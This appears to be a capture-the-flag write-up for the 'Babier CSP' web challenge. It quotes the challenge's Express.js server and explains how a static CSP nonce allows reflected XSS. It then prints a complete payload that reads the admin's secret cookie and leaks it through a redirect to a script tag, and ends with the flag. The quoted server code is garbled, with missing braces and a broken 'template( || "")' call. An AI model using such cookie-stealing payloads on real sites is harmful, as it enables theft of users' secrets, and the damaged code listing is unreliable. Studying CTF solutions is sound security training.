Babier CSP


Baby CSP was too hard for us, try Babier CSP.

Admin Bot (link)

The admin will set a cookie secret equal to config.secret in index.js.

Admin bot to get the admin to load the link provided.


const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);


app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template( || ""));

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)


Name field seems to allow reflected XSS:

reflected xss

The CSP allows script-src with a nonce, but that nonce is static, making it useless. As we can just grab the nonce and add it to our own script tag.


The description mentioned that the admin has a secret cookie with the value of which the secret page is hosted. So we need to leak that information somehow.

Hosting a server on and trying to fetch it results in an connect-src CSP issue. But remember that script-src is ok with a nonce.


So if we can get the secret cookie added to the src of the script tag we would make a request to ourselves with the secret cookie in the path.

Remember that setting location in a script redirects the browser and it seems the admin bot follows redirects.


First we need to write the code that gets the secret cookie:

cookie = document.cookie.split('; ').find(row => row.startsWith('secret')).split('=')[1];

Easy enough, then we need to make a redirect to the same page with the concatinated value:

location='/?name=<script%20nonce=LRGWAXOY98Es0zz0QOVmag==%20src="'.concat(cookie).concat('" />');

Putting it all together

<script nonce=LRGWAXOY98Es0zz0QOVmag==>cookie = document.cookie.split('; ').find(row => row.startsWith('secret')).split('=')[1];location='/?name=<script%20nonce=LRGWAXOY98Es0zz0QOVmag==%20src="'.concat(cookie).concat('" />');</script>

Final payload:<script nonce=LRGWAXOY98Es0zz0QOVmag==>cookie = document.cookie.split('; ').find(row => row.startsWith('secret')).split('=')[1];location='/?name=<script%20nonce=LRGWAXOY98Es0zz0QOVmag==%20src="'.concat(cookie).concat('" />');</script>


Accessing /4b36b1b8e47f761263796b1defd80745 gives us:

Hi! You should view source!


I'm glad you made it here, there's a flag!


If you want more CSP, you should try Adult CSP.


Flag found! dice{web_1s_a_stat3_0f_grac3_857720}